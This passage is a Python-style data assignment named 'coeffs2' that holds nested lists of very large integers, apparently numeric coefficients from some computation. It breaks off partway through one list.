coeffs2=[[3470903007908933263017783150398140955126415304480609699944178664724924282769, 35284511115010814629279213035730063768067109895396297620770142481515155037029, 86742983201305896200967386644453613632067820515988090494620646690572279557450, 26744154705186096372233087146723875527478541079423165301357181562012879434278, 101956676722867017350904957715637138133471693299472659612381248458416000635469, 72044985554906235119671440395706464152048073734458159275807826341220637263596, 19451341415402359213274875349547955659657591862679550024676849181097503942843, 61611683555578477917010081381889739498497130144103345749984073838032668449866, 3424415641215562243060035076226976276805231354653785442248435464305239486749, 9072031446154412743203307716337558291638453939237379533155330992057721554460, 38669325946901538257719656791333057928933003894023261194747997989083419632696, 56394977682347696650118212060358350587697911298824823513076111918460735015443, 34169462958804188459671412333153514938556019797035908148821595440279406905364, 4228088577836038642296397808303767236743922033855730704000346402765178573643, 67853783691044179309936756658266251394746592680301498189538391236266794327974, 107577531076504948106667197288504746582593722575700016111607990167457862846506, 113973268139682783531950273197014345711866929810817161483774558635130498383412, 35852098141793624432593164821758795574117905882960841332479671675604844996329, 6487210582197212331671218679216951494596755344180891242899828472452059548926, 89132252598587962528854094007491354205698782395748670062914753839405107746117, 45753395176526332454771132699916675224524278310595652430596080088080204852642, 90362867169962990014656575715335583157741816000300471632673896204332888588822, 6641624439184207124991275341159189759219640154236615602486788900850792404461, 78066926165238650831664757683729370361856192073258725877520730212463893085101, 68852941139803417201011017205986682504139775043980320175965864731468297878836, 62922436517703681016998803623029968459075113433214764834565527300395596127479, 100027646207746046628146519210008568601195344682643843700521251479995636131164, 6883911537781880663974078653763574896228846613553922768987486619322789023896, 12198023359876176714828848214511021454385781712787442262833166547495370157770, 24642723948294648269341586080638324579562925882481028662778372339625039063216, 89501557230975855697828627460631433598428470002512638571621387358108793440204, 107623452356943449594845657217981591871547978880960128006733741034540035321792, 60678292493268192916252104612677828808017082269344654710097426056886043140976, 108016246956080137019321198802763394848563920735805579894996330793869181836192, 63660353255845407728196042469912332121133326511662376794705213936639744180077, 102567837231502164103978716801635268030951455546961577556309037329770189955059, 94267766941241075156948464263898824046978011413580928864678186787875263181167, 114695573766859170726630948848166341053486227862496821325551749450366093228305, 46505882217384393688806605147106679615198927614983853820104704841486248580780, 3809091059137759648537542779945146882543931023876157518923436232218505901973, 108046390423354156107979555597732879546362163898551139355082810645846148868883, 115791719163214608268940214825447798059927025060225733969453932901578921567259, 68122789114889573903737815729111342722885265907654442290490121831353630390090, 109819163036029636221068784448115503168265683514539659068982423119736788281172], [42909880583438212867027423279305432980031151863920123904497752875582206810092, 91859098670227244135730686211007644296971754165484827767309412133330327694073, 114715280139567455380421533836060568979127750743537929135904055870460867793619, 100109394286490890542501079219349042466436463519533017132631257358863269863177, 31228645929539369628168366798137616970019446377248175783257165372091947371213, 77949710189371308750291541417591670435354759032895056714093685069014524977269, 70659780684255608067164235358975220706924669318055170040031391545298938087634, 31552425803962521170185727604351116884981800605379923880851282528240652747812, 57183571518663285570551095328925097490217260752942824101392677129969964968967, 98690506963734660066486235099170263307793018712017420657830472922259877868745, 113052189256042872919590136025764354903977332651010465748449682097767067907434, 113883963895283787824360692925913404159001790728948954635376177986995888549717, 75399734774142774177737290503459862895968373938747813502433981053485703254986, 100917303464086405689828732163240351620164445332346362289553197513047445600774, 113454878989544241385254989082815390742578719632717382524085813164913332955215, 114399540541314577957124254300308909780867788809208882382783843237580923838657, 21162684452033885007531413276300540764074278099377056353352327701310770466591, 43086679577928863755535803191014061602742581688932898410279361789025515243093, 96498401631344248621159071375507357046617132656273804998096353489165057528917, 107857874454063140659209110565756909701478998099312815747179399531299903239348, 32771411245378877093377938138135515734368530619096720464232978104466327172524, 63192607210355064098329958510601762216938527586865706756991424029216548302027, 92124992880614614319501223741371659549847271393240213663924859501147933491048, 48993577348444886272401204398040840360165498414448274435056441084058605845436, 8605927453016962336724632160889392303266639423815484647288482975693806232437, 36989514666556869401450782994738153846512293176571618660864725407904346074107, 101123252086722030592384179060821227304106701253233226370300475545713628889766, 87567930994780731281169050181612709071806378692103266921242824352234901222834, 36306691765751541631334128455800898866089041727161291799850791002076912043228, 67043381169016349555303068689474431747925023653011526880977191651655732697, 104207859661058637985385077226171937660562055534290062455768337722787564143820, 12181285592068084534615184347887226548571433430360931342060852320806777114766, 102565682390695355444330105468973149390466071409517600789240222620380990380370, 102607030496350080600497797811694903970625762950864732548788195009523498901484, 43294243671117364159703822279857532769854111064173009168416134472844253519458, 106704646316108062097183532121742483540046757660567558660877976764465477209324, 17397974495345381836136688536852179769226009343961711775338136857843309491322, 25722918648486560984459655927266516710527773983279157018004706159611280715519, 34057497103378855878383074676651956006999182600995156322812670255467053724359, 97187523094689094595441041116831007021197381876139092324354302017436944127009, 1344291887619081191710546669993786001974682085797801522616974104902014641963, 47939445975006922932675234318032257795851730496550306735767386879450949033299, 46769358859680798524629976980545523321435388726597935666684017906068440244091, 50130850078263753013657885491785126086524777090457863520019373615977863952132], [111320430120921790455092525710348078142290664764478026248381081992141409878000, 97831397897929315294011560713531791116329626775807296285953624314531607612014, 18007831610972394326806400777704820140028011787780077058847715194643601309279, 23394397068347671277407115461650156246791261990203231426354672241532551306335, 83845138351813106847349820008714503359854024488454628118815271880701835648979, 40684059715947732740061086249883956699149678344473435669648023275682029435185, 99672698821125463409508922399087688194071633309285921853669938742805766091979, 21173648308757178272507844718096572730190282898215337287023912218452891637855, 16777155496018421004081202904716423487586042878360192714892417385250675192320, 19015704399133013670794583086806610379922822983679413550284360674943702464698, 25716809418682923323749194406776602860577122978015082772546600625108782945461, 84752276287528827362692618875176823132073183192924625556661870606559005172062, 86440006543008980189747502125678041271793328464910958105394578355152333005, 115283087453973032997212209380807670099223610084125408875464172696053669193890, 10197020215497265154691573495294725362515915577217851883377143388130170030281, 87794516433847531470209599389604022680855815026966466042737772471044570164020, 103764300732907101277691495689382357917523884811221865643447020211374581262812, 42431556213881257650473315676900276230556292051392825524296739605951674764575, 49544170116781824592655139966152657945860123933099612446793046258653470295712, 33887800663311368457120762567457279592160641272877347577871260571906910846346, 61497959158095800356327936271006659424161571801945044343329295492267609892000, 58166046427363501942414391257435588230659747861867960644879865715158446900682, 47811419823278554818226813221858494856975239075137421475563184432336046489515, 29374462896968835314803698184273241651305508132921179423292919785604664629640, 114400820634706300646428976462341536569368289848781288588784839069982256076448, 37960918684623898016510865560049202261983721722633027452142022031935033492676, 93707541977615120093107222012604782212719611051922179471654144651416204445679, 75426970904693056781034821747039503387471136739059066027153794061092733134293, 11770452585654659160270755884692627416621985662890235118243648020260292504375, 67857422388977245720501687401928684928565861497758699279672361200080548116797, 109983495472492915571221245759982450964375245028970066259868851616487420274731, 89986357888892670193667511604904440133646906703673359359591271762969577039753, 23613563900597305655697585190473539640983459325688012175353722663535269610598, 110700330201523958101000747542044145189581059302934348419298058420943814190144, 63082650204984469972546992293585740465187835405909487592939000071506978844270, 3785828424977416607104401835608792441432965049333958273056492702517325081335, 64890897713072212541546795755777670303804590159178277333736880364051996939395, 41483111510426977171309270683303254833950436729159253906733036329127627717985, 101547648259697648367894968340822087014753245855829127210388575629760403104960, 105439464567249651454935529277434549287344946786551399598515423879500365979248, 45012701435931319755719425712381033844353144875682472584640009211734470250234, 34067070684618892604836726052939802522590064199133227649269304465465035877719, 93855736170569598385916181120868465430136058535941985577901183527355088950311, 27037569578134227830988842482617674016006014003023537012606527691699690151084], [790720910052754661933659556985588871895847726628093038665758039260531264699, 103191140504377917572593041264113124434896395382608371185053876783900988660080, 24217488739495088118742489589408481559784524250697059530536876887842742759663, 3196522436497647266772877733700839039364421962572055539294180528971732822293, 99156701212951706297801568482978084334398040782336485665124740961519749872246, 15531306506246131704894273577135996672624628231081827173320104611569915301026, 8574968714090847054125796394968312667729039892248208683323802487389578556100, 77568432606496074246054721324867291394121624414743455241744295207065222766140, 23010023585356812403094845411195128646712612223290941103008566865302383486611, 42061669856053489305516960006622522276045938936734256118648765326706016423615, 67017048128922058082371155968171060393841806347065657229594033925352014128017, 64908984292885727555602471933420124670212079260566853876179077412333171272518, 41415921693333571220539925680644159016345275117966977617854237254090329793974, 37478533810667786377214959428304080698215470017294444041335805620468651812381, 61009036966399979741933155190942847625816426811252431250763648665282832441806, 108639420050877730631204767898757168707450070960063676347031028885913121113541, 39019984848450625337063751510466561391215987913654515660205927445669148349614, 14879119631024862245769101284322021384671938790751252953287115722616141009921, 19006433509559140105013148969228142679790120258865854900006108321207433567559, 86812664454119506145643238032205775558829983034264485769819337326608338363753, 15749256029511557733629058827073602238032434673620335103750324325431374944930, 13553782695017169031720686099966661274790468832155235535271365960960944121464, 50312203896131750627644232476475289144114275953021172460623991719672838602207, 99653228678455743550986957535441646526704965700571147303421603852862615086543, 12081581678795827559107903285496213082441157335209167793179134617775006222545, 81134746408511035472033590308676000112351960314524649560465740592308622788585, 112547797978297850340381109167527097146088164918261433277902044141891594578279, 92186506513067173666278886494239959587713739678024572460452501408126896829902, 27280456362067456563726788812050808274359442289370882960746407380174405980294, 114487119668306134501080937067066024667828862787007222623867340493858032293110, 86248911475994515152021391062771008962157893017768206125464555137528887396389, 9682627460343208568164815883519328696499470466038474401822252772441618295833, 91179534043685809433893177073754661029709611338934948571161834381280949967996, 36282296825284095587252335428558355673738636089712708034049546420379418540576, 10069878195580092111498160400921607878759579279300017203887275218514527267089, 60185210913624498699533573192694489281003399585820111548005317367405441514056, 34071197652096578912553843855465676401462017180020546907969607263253796914626, 108722950516491553698801767781023002396076755339328027060018271619552812118563, 14422863177581987137432001677438776573026441130542447535863221672108379464090, 25290767742345668061852683287728422790717018263955625755003431685519232309505, 114872755682005009355473603224155318584424362684352874659129511224868300908474, 55583486881123179386798463980933790802252737559118314217706177847989247228078, 66354956362531836992173435370777317775473285969150580087649778406366842334202, 17654737876664837181913312783781025009081163020752281918943623133435201989175], [53976173401768655620410661749581292654550466959708088286229840493609511222269, 44404867997564317279124257615444372519703374688943953532256758383153500841838, 58554578320325391119347094456234961310960335849019313253922842536207376593962, 60309149008340803338413798966079792317453767468750694047002303148845533167562, 29922010437117137780315720962118874564859243239932414825649956693183440492712, 105594678222581206490968879962160366425096670369990901202874531444306594570974, 55837636344510018514043223285653848379507178990312456069544621066418265779271, 72553820138337217927476509305677603187847640432364915680206167430013071273334, 112443152191330770665050119570803990920193762557224482206877874901221253760746, 111734443867109118600042577955718993986540303118248953952376575971390169365275, 66831579908927253303461190493676626652533373465992858870300860168061883822544, 68240919998960069522413821139467733697272313226669748372882386595580981201309, 26279683963499711741487245216863930326275162981506491932109172998634352772119, 102279945084664279005925822267982812858424191132063610022245770329133733405686, 102687254978924560682610384483750636286130192679154371225641945615798563357567, 96249341336842143657943216791928297731058580878536577356960844783736876857367, 97969109238585403608276692682778885348214977405090211009916511713686835750126, 45308317595246279385537551946538082678984838021080313790892334938357781858303, 93745584832368127953002279061973729438274089187762805624403122372729134059084, 83751577568264298565377912171565940399206710058663106075973872825313927140156, 88152750288685213946860593429859395645509520317234238793595366834393778600837, 56444198299710383367941766056371129729051535899563184118297916171411226340172, 93224409672599134852807013194517878210773134078309901715413166056772018260114, 85062991735065573550942491502713997953190052517771162767116124965617797000963, 58744440477474883067875023793090219273136453199607642524911896078738471540110, 20652772334510739381988892511571948613522688459804782705709458671510029665006, 100014571962979859712254599631189391323692942093085609964551767933346328849764, 87302684234190219835099447225120725379689646927714055127111458110516276958521, 90791920464576554552920811715432475010836449365641473566529966528484096938644, 80060606134595528088528275631288793896758482899707551440796328730057476436908, 54739743344986322568977647401729386436506553799666809192461639206609942632320, 81628191592131690585252569905916817652601391635440619637091539867343052545784, 84049709301250673191610131944175933072228766769611450854732577656773760604482, 90813597566422765157154445518653146119955311543969344545152948821622169539273, 18615210722364583615793396394877769565531463427832231454137102674999255929018, 83851818741200746247782908312368909304858979876724960215399974224837115576443, 55066562934352079845277140301288269950090875880727919867416723348072077959367, 81619173333602820179116293004320569276929542017233888796321315255798856507559, 273557274397288605855600539075822173877876041778933362112660720110116058641, 70603040031573827814274890907187666747542366944280138944018924259221457087875, 98867662917970871528215476108465154377281509234420584372796987066534805057493, 110047786071856649606878204944247043349967119566816020740522319426841684543625, 34808495888673467504741067881471745400780150725167902480791170823815671665801, 107673541669033232088347513193037130288619445254836862572368527595963252689418], [41731584470177559942422853074480308081148068314573456800560138001243298340026, 29851209497358163575224066725285447946705095561227675005210097631217927423678, 75930377183755424127319070952472447503012780753685393888893345731488588999109, 98352136816473202170492987017977240105891498575327497526214359732458479695132, 4269676804658817135562154712875156889429391577804118855160282980198732825885, 103590590795850837993173792585285119981886108258739858513516200407529159980471, 29458978061336156916844942220811670733484358282666963579508070533838672970767, 108960625771913688482357803060540253861891348582851365590968660759323958525649, 82434774105021152970405872311652796130925573760500547367436248304581372418197, 72781542947715916229061312428022475155917791911341569187985890458561809925539, 38538605784833895736905283738626715198416720915312542065660656525814818015649, 55826092890062808799100380435105854510034685412764726895121648707520808141596, 26500260016337609852469823858367592158645609117398017320164982550204605254421, 32912953176191155045651762147406897138380992770893239242531233376143562703526, 14224691177121037170480712678675089717254657465646153242773533882686664757411, 101813069811149412084221218577920101249039700183474026384965812599894001186371, 85822674346084914897619912473045711493673421815907714301067934076733603654451, 30452982921753609070252608655089631292987415735108970129220886273857420508456, 93795928740068096181199859783516406318799754293337719590071815888944373794898, 114494367966813267760502412859757431667283750383366021934397352652857219381114, 11820282195669350414353733940026797579589901056336716724691714896812616198603, 91994591095276599557220299436359646453146710946592671586854813215684701363274, 94228628071007696824936664773682473617584068822623259222825121616680035307807, 99018007082869872340250359982690761265810722225906747238748767477009912656150, 56263286107657775740293469367745694688234914489417980436516101788086829792080, 54912238197881242452331823522341204990366599340166918095080645171556119257351, 7797604832601272741242384497361824070234834687619746312281960774569141020585, 75452538666719017340305455118728352997324755279241303953140217887357449366531, 50262015938601032229934295189904403416837183334897282439758267517154419816983, 109535956415772499925345400125125369659861984568717607135952902656079613873925, 35722481671574065841141076773440859230687166277582298496674694366292481711289, 22785532104302298821669825496905029207918089114094067062797130555397844482990, 21980236646335865216322858313325313791216556787015660357243491935457268918086, 37927166607248218060124102632562905934909751531360126457152297911483070386080, 43741268496163933220552355305360673227171926360792079531875425939815133601061, 13588720295239664762248992494704055679316254597456806102954790550199871802025, 26550065703027636341625322743712261462911160066305207893801407502382191645112, 29813632798401389507198906188626598050600918432193458964440494906857653235204, 91681998877252367210225527597637773989176052191249474880197477731269080933769, 98325655976448869555895454705163286516973566978387089838523508437377142794429, 816640188419552752199653486687566045977188184274983904625749712306741860652, 7860074628409715092482707900767384559134665714847573129078475034015911643510, 41968967724548399361681166235866654582691482485533984089867437974719275132390, 110984055152151090031917524058984191505160472375018322756033971689816702527769], [78535323690037338390806887487804379114120254936165853419902735205392132777039, 81672385223501678573148051705048528738048986415215665241021667776389678865002, 105568331202908990448482357063029446097308920206369929731160940005389750150918, 107980601172345113270470319880592697566232451127509455821665155334587653135090, 25970558032582201351381263373562447719202320957327744273769814583174293508881, 29080356795827661512419338371239635751856434227017132552257173708497376420876, 89879481004303869416986862672112031963151451034013048746937010089065461551407, 73054881951732657659106697441781816108406789610868089666230173378747615229134, 75151801021728983602582085352217018782541571805741066573438041848051783783258, 89728395045581528715084299213358379845402038466015342905211588173396540683792, 63621262021409084350252951440347654049364175057384011573647173009415668733241, 112845126667102870586826328594785444259200028414451736199516293248024378650312, 83127499107047259926351956181648241638637269316474515812946561364411272752465, 22817609726556317367789587049255491071122865013930818609587064293325017143146, 96124881701590122137558064449730947917801373262129532516827533757474284922793, 27687531698307731002261922259253573617343386265535163508936976327585417829151, 11325450840708380966389693134966267695831847122360690588938247979208603838372, 26974180160381940518812202205702759515066888353613683850593975464570092590020, 84741114804312675396081974268459100672212066850245318967640495810077766868241, 33281473818702671060095141108802030061177027686167636937012856368781614708077, 70312846617042982965081802995695185725437879496209655315041013770967154095373, 51762433013945096842730510265870033325374323321657505025165979149765167813043, 69496101990958482917295798601378364537886831120865498429558007748319846411940, 100932737462957439311652980065235358130326709868217040033749473222609719845555, 38526271269004893879345226408376707772993952640606062201920765506827144225645, 96468568915628838340349760843627507205223675301078689970513868727456866229276, 114236841695501916475956189086517598530214475051820070533993330045321947548239, 6064790722816378687005296559223802350222862660200436798071371477785712055917, 64145120004978438736782501357441102873833492693856291487577967687450378281940, 63135666064333647790510863185861801244166263908069100255932502752184702898289, 77339322497907122846453868165596850970850689770016045325660815123595070097529, 53196927951554321353453799552436936115006765607611350629558554123800377297112, 94427475658881581158983104501492461009301180707223441984903056209404263611109, 84553836602435636658643307918551665601933765776637341039205566691456273845470, 9964351387137184306572411021941340434937213151616449389467008189735920244474, 25027231293651698624095981970989989756508389808499482613894164012976125967025, 99907162036780808768850945121191728900063454732672660824202746078467385761640, 44146283964133111910693975607770533171572931463441525390788179015428698737374, 30644765687726434230506324471533049250252066221444646359995445622454470259520, 35219882471788085534354196012400098260682212063941983084378895934578155670890, 10624345044253894211180739246321906038013075557125632219565497125549564715733, 109767030251969972350079761023553113859731638398726120264036767955204018909888, 73400839783186671759683149432615071381319431472117701037166460653583966678783, 39980039087518647293210812931162519531966246828678684295437941837961415319513], [17919595519267861634383201023766626974500079556337984947058680002827610295360, 24082159094239667902801204644177070058221442680684002198379500017824267465261, 20310674978124430887163267927109336694264287605277276319263914810693095790870, 35123801609161604604534703626422254770582756621832609127865581449268425038285, 100461735873921933008010840703004262662057766091634269326461140782690854136523, 44564223920940204638274543903668648488087643898333627858378884981588520056169, 97051725617703525108692233915886520686193135783443677432934309145718562320104, 110780361051051348007661003691055114777597290800953188947446745983821171106599, 40072889413631438595956659153655082853268142849379219805235994517341287380193, 104647417673022294389682867220001881503870240628272212454404735705937128026865, 47307247960308431428626613407506894942600460473332547151399892536475747642429, 12442276825240387251190251973886268192148305900061653645110844132823649017910, 75366242567657193411510501831354220008508623224373694445485110191450410084583, 88821611663291752899779436718463572166056031108140152700743277585485086285350, 112896514159115540521436313729676949685246895128821548167180685623010558585736, 65242358294771888079202964736477386407967254085860942141312592777039524632020, 14933883579894774432066588019692740105646190272023025241559593177004578577245, 13855625076281779888563380051943988831071078684810322718488467461505667335139, 33337370879273655644499921065822662062629849604404856749086571791259545435962, 81618894407030934817588251138091338786603684507483831226505777156893819248813, 69441578482863151358183064772791277841409459593018137840379176763436003935982, 101778176483828975771085282207901158958017360047497614726416607362371923061740, 105077314707658114664347410307812612340626622366421747150431170508358663966052, 11246855769903928444113400883646997275103619586512431774112000025346105845645, 59080168144613191697941684633047805170633519745967941059198965530961478619652, 28955413962242616206727104704410531403579044842613048369190003893934473369273, 58213173278195453008079080477267172975305507096351871471196819080883201697242, 51446368644684500412405324790256290191399510122754591403034466766689494491034, 75364129928272569287172990434989226066393690842358649008694689882540289276626, 17222985616200948121061973681662083684921946742697511116029124496146532056116, 105786551675486088796676590686752744532640530547140930107072911953248940176257, 60458419259175667237757325440106578571312956382955120505234962814875309582299, 73847704418434052876713928186793122635192988455192649278270966918868058932560, 97476795662509264996345473459483895888834956095149447616253202250477162788074, 22738470037397929446340224424189773866536953605972407442546716259619281735376, 44111565509218654929871438202505361133507051328532390457384945417286149409968, 4538193621455952687689208631966035511299903837608946296230582439410479929075, 67724265609274338434631576400639259637258583463773625676232956798877495771978, 42314036537027423996728277397648099210894034588210918345465520615924741269365, 106044388999186734744953016733478518745128171817234693695400979564874302550113, 49307885539865688414409020645584778718014522380288681725025298635435205050802, 43341035359618676108356309250547600186757585435195712722780693101196668819823, 72443170738955134192521316283552597669116464238633346711490924563287137696990, 56327895924799733898307367922813972200950509044910078823713582395482485264389], [109107093570587470342287803008637240649748319250661312464441786360673657264895, 13098139396910172739631079990465866135918651165145820946364545802723659267100, 85810349016115214956470162544515610701592002018435241995761163410684427883100, 86304513758322667879164211273173963634977254752508956664874212333146072389604, 46415843793831336873515498105316235611035148112262899191788961224040819812451, 10406589528051123531501091658383384513804364448789253192487507567535369659122, 66829439943559450336231884456091967175492718883393144465897097315672929447968, 24509506304059870357799989519317379533990986797500682407487591330569940465288, 60402093287850693896656037244056731496095501303307617716154794602922175433889, 26424699554549259040576603382634262250737165372670929295809867628451181624271, 10891709877678279853059493920286164260986576773841173444225116330511386315933, 96183611943399960235992178652425685482161752185043673064425843335457484505890, 82304154152703936348518718109243510764618206534229607501382540630521230570433, 49847775806705501434152818209943059356883591897647027164489388336821898547745, 43803046742260302268236353860481120732879193407296005666555598413051667915902, 56488236966826998182295115206138788320923863544415811935005799215174781153695, 18238092826469942389627603318966718042512404947284967332482034373225975448743, 57636190358653700902690719296905520232918475284643119197508820064739854233934, 84626987403849679672084989518899044103809114959137725350804907653590617019766, 115283807762133304337745569962279070431648650246293450082696242456461165149291, 75361857368457361614180725332575135327857316409484244322811055808281405534929, 59568989458153753529454530071433621371207396551083138260222321391944950712402, 13449053176902288148523700450054258443827619424749761370421571795715428912524, 63796896660139541408848657916492688776884571169762075880659227077551120274410, 17904443819779448012110092519028707136165559947198654814200633992242951488394, 110938822560708939821790884601136171686468276890770094075160197332008317153137, 92790694276006011939358632374247823960426490486375049465485225597232567142307, 36778245214072724470821465376511409437134625807910525207087959614355610811404, 60940182612821376315225037564825069142695492248729515080283451421180264712240, 102213581799885211026011720513567808069012967997067822685939859496808906879122, 65739395699203968596008714993125812147492915047887343296843138227084895441073, 106607906631738507231044365170826190607506267203517202559613246375335223158424, 45573779235721366581332759619105444434859219368271940480155388028706829725712, 106484094228363103371153148481493903246842635840860387938732647309418025888125, 68188248279812169632734772428534789292164492303936890240218087840215866083208, 106861356994150499175878271784184108290236401899198348901820492631317724818777, 48677717689120335503677328418131392014057709076866307998998921208232568072339, 10327513991829386702261512020351117343317787328501700802443929301880201088133, 52217526441758441871880862364915674013259085579385464698272892490228643254701, 2627739736583039134275635422996920548900096901086984261100213732021950983270, 113231490338695720076208171719345907881750469935018946730184582770522553588752, 9646141594412023734868811261358611076244178162523629745568610669552084537196, 9879796620558652006368615140926681127195057043105293522265545653572227081086, 22096712352193303280700185772243921345271342842179701462613808196998620769754], [78225140466849392115960093351953755276621006672089958421563068257222272964876, 4587377948427677527993913206866653918329875411019404887729786480475950372281, 30080304943815656306342658821342529765740951957938624964792855873746841002846, 34259071969786736227159477108571336308868098115403293926384026207454763903993, 84288223170664007157253653519411226394657461200743028218208939469240323229597, 25438998740327598191538115847731766051518340921580961832834776111827574324872, 72568338705983036232529396357080711921382672192034113144509250080685009057218, 83815809291714543378313139030851650727835095246470324151938640477260088829799, 27616504811367176476457862855386840444276866812360178640839804210050807933367, 103655255064213435374892087673027779169477466890567345162557385788340468910619, 96060711475845047344194103548567550373983835988768238037642806022034848361398, 82750517168092215162073200635891797886235399961252501492520792958846834900048, 63052936934433888541466828239710773270595098722093704596815047102253654369732, 90416938550755977820206097655377888118945664798870021360202439943565346866096, 15252115391307033469906508685159200523721647700558460495042029358678384283505, 87300264818879647724301877741998933720351527016820886795881518149304127820523, 89218741962252981011214739101334892281748371933426400743804210135260222972720, 49179108647815399063409107386743811481652241848652517636346763263518680914978, 23985610354487159990373874893156373845751371707217347626494711193340151694661, 74190602370985985824063913824965074084024552768838756090136780578953247365613, 1413044478631373171517275159780277383051079869144617326243747735446777790353, 57966235180201900165242072514986635629601728251611812850169770872623586275691, 70791865870706715603271283479223059222557986854549443096455686579994085035985, 7654446797384627225062627251734594239456131489170086825098966537858601008086, 22844780855943185408026271211178807294902530165549199290415135961767567358756, 93887837857267363906182580333180549875315069585707249414754930985574772475454, 81829047875836786396218360388247741796519607044280783444729522712422807352064, 23850134214067397755453191455257084563400104955775016841941695575694598805334, 52707908068139422181393384671577338557093121099499072243052366986234583281444, 64306916897756325051224448479661955554936681901032174051313983992085149817079, 73334658759780782399744254864594758827287642785473806887283017711831464874693, 115178894607215921168121753160953476747252154267311443603619178135449958577760, 72329966989313557019829998698739812557390901486321114741143305286599420331667, 10900239024265484444896565723432188433494862766526543473109965845654609011903, 85026576373468839780845784778104461225866049586944158394660667552937000135623, 15828098689045589009862453570335082988985264371967850247559565683166237466949, 112866350378896072291838549849921524806801419927240879196239019879583600478515, 103435525424003599016362175611990125046537997717885274280566467867873477473449, 20999473746941698277570405342546917386357338379428454363035165337146475389178, 14179072511357742749063343860185614884959938788086057445710788819995859781069, 78156374945471770200398028844171285133210470165683066913239450961586883630533, 107048768730912387648271133283746819609469854902511685583363307613248790318733, 26819006372136844091861487804279651515368965513107750868520230485446451348185, 30025942180407751730484511747568201022489679519854594186328249090418999064450], [21625839685236774526617804798042392880652045967158823209953619558154509649085, 74266940218635626518378937641909359469598654011847638225914063655762218225324, 101744446874852080744122806630403452528754318787548512431179621783207821434381, 35255307456538407508171300393971228239462815962482796761931715436222055612515, 32359244110345561905854507619584984335315030946363726591473080475445509361930, 85450902234912315014898265279089670208030164346950079662361509721620184416863, 52355549088588484537739276478142597480174998678975508309249439123106491154436, 95427629256425608764237830995939310639677863970875271578282393224600892123781, 60143639212617251071598879161547825182529718691090587655827863622548853399045, 80084679965148085401093831970474730612099909891696404689828244235061512734415, 107733673355374692887725932134917158645741847348885276789325686108324680647786, 8463969100880235957405046455308788546458379540213876414323901831617202580229, 55459889502074167421482721352472781661312482853488589774328559332704562604277, 105337507117221842969650922638919338471457046932980366134578877791161160951154, 4706323374442759465687842382270344121327840463508548453754583625842392617981, 14457032029580747169740742193762325310633480390673572005009720930112280947356, 20683308285459842940383764765951405861123887902043071460899825708320596369305, 16033479546112957483018484306120093679223568695177490767008793447665268381171, 112022266056028588589902872449595919741466159830444291119739977350056910329988, 19849064703870091512897934256191863290903587869395396948880476754288157152846, 113425179507382444941888865872367643523113493960793932508322155397052167235527, 91038112267706312415731599443994077982205313548064625377493083986915300179541, 69344206015243481003360119700925157305449000167113897802935777540611193086703, 9340219030814718380451699061424565774592228786486388727293310600440982531404, 1990749183698629967604014612515805901072407624660166671791831316641300660352, 91038043699179403369341567278534724325455496607460707290844132956243838253792, 67663078793121667610085229010773783465145677673731722670325808046141703370002, 295658421141930740696863276198933646850460623683997472217436970869900710638, 29859439051157202332455579071283470429363892789531549303470847164379947782632, 112874642831836228551536073260239037200003429495789390058087753838570533888222, 88795262318536163909852011555563565958316471554512327992913825174067576968336, 72162401615805441131473369619516440707961997253276778330980227523546291922943, 46991000939262696458249272043147422497867797353502984012863121895666152537717, 109735113096985904686156831849572261770396100658797623883096032583817973387733, 103488905499031163030332922223453848370403389399752282150976516956003350708763, 22705680895569327423823774451093031163221570800616578658896905682485810030631, 56382834917354931611583064750344051336628420707442706119286941032258513330266, 28687346643398689851498793176139950268626893493995012241255020868711839447883, 63193100145431776868619299465397726931454453839205937022436686249138532021923, 89041502295533468396290516497922950318078885236360424869181684671432561264696, 33512641587863966301529580727433853955659665086237525409192470378827117016076, 47553129685736592488034740786284661273382875273224085920921698056086665246177, 90581193043148936100865031759853643192038657777908280275863628215046878895883, 81842653707498598499368801767794010866512439864040599402482701487308738384552], [11619667001175235027840093486499865644636242996854561886367394869306322799727, 25024801504927299297026559121425512978527815500200671862973308984769979018326, 44007054069141301715372889358431048466057480749463826146920885322852368625001, 45712380721480335147717053954961833500026121134414883284010130800044324751473, 106605553623964873185710195824285594220240184440384220556273117261475378685986, 13333906848584800014815636778165762945373117369726162736936006686398489999350, 90701010904477862350448681035023505519846121824883735220841729647530966810114, 32255154452712265034350364502330571189171564465952588270520674624054556122247, 97036584506114391791760478103266194395218107423880234395668188541091131962053, 114829182414161996995687104268412235135875967622093935719951339488572641789812, 47128228769423763139172108603312755837825823720810319615340097056280979644252, 64554609358364945175165478564543793815560179823784892439214770445764485439927, 1490908949769356230763256249612585547633822748070177739600195778076602896767, 87987623765266560998044436351242377001319766331806189098770416743373143984775, 60138419801081055701274472907126066217662414590631660917946947905531884714, 50362942272994134715425414949587381690006518209415175406001162391346278874550, 36727924304535953044654363453925380044765332001432609140392784756686866320869, 3793623965793145706996857161865130356352445958212449654149897872738857318081, 12388171454777502419470961803936640093734358814614817090133802011792986412025, 48506117849246763815179476181912979360544605094888600482814201989832317940340, 40574353649004155926061060754577993781490280470431124657486579706664006771871, 44182695263777218555375522185790274481303179688179561630229874211768702558917, 22716955221129682774351677172006700891370002983348324634113204152837428876498, 68273014238938562009880278864855598025786605219226887215708108379228251464111, 14111189931658750990017414583861219587956652952742497486516340427848400993591, 82897518147714120921223850367235900286035217205263625305457900219835244326088, 12699006608408674722951889612054510540073651979119252246425506690983037098647, 68161855652531999897711647187289448498266326048745121219394665900721224015306, 85469394515429645789499889390061483899698536537358847961256154182989354075578, 104939632325716188135324069909062696426146103955305813969712091502688962543756, 95429742419282664027139448336531460308154312740600272462084740116352523658453, 35031481282087527130004614759734177853474808919601191348669492564973361550193, 97431714333401667304303942379892306646484028169983778832136026091787157675735, 6749531565846628847122737609068194219680359656704186566372678450687167386940, 64484692301757739995532977727162973629385912240877035410415261623978539641981, 64561498926317212853464154335597414938721662445849822838678741805589890739274, 84959280285267756064403401277090875311704629791937624799672090362565727649347, 114407457199057257759561961823251793802656090453925476586133643311422140948652, 50250579105472985997295153916374138064289771401774446774437776916293891736017, 38765545751656458014453100220307076332192513632346157019090960573372020314681, 58938467523603917209910901950094081623016027785714142831920656872894210892719, 58755388851964067315820253776177694868493520096325257195354369593377248018937, 46268081044322376889481815171971562158433663572659285214680390037773969814035, 14571099502306074870803940166058203891009557656839833778787042802598485312209], [67007215843831526394584314754596338485896843724543515080186234661850060405583, 21590068542676252317204169895283646414951010325923967245043297045602135522646, 12597754517279042270927580131323481541939167907027135383373884579880427542970, 68812504332514340025273420737242836635351741132183585211296823977328353415366, 30524679519414320908604331410559426632576174379248951610882383214562541956712, 63886164425386095992427716463356027859183730579204106238459190142466157881493, 68297989361311543287221896485175373082721156361624958528908397780093027242712, 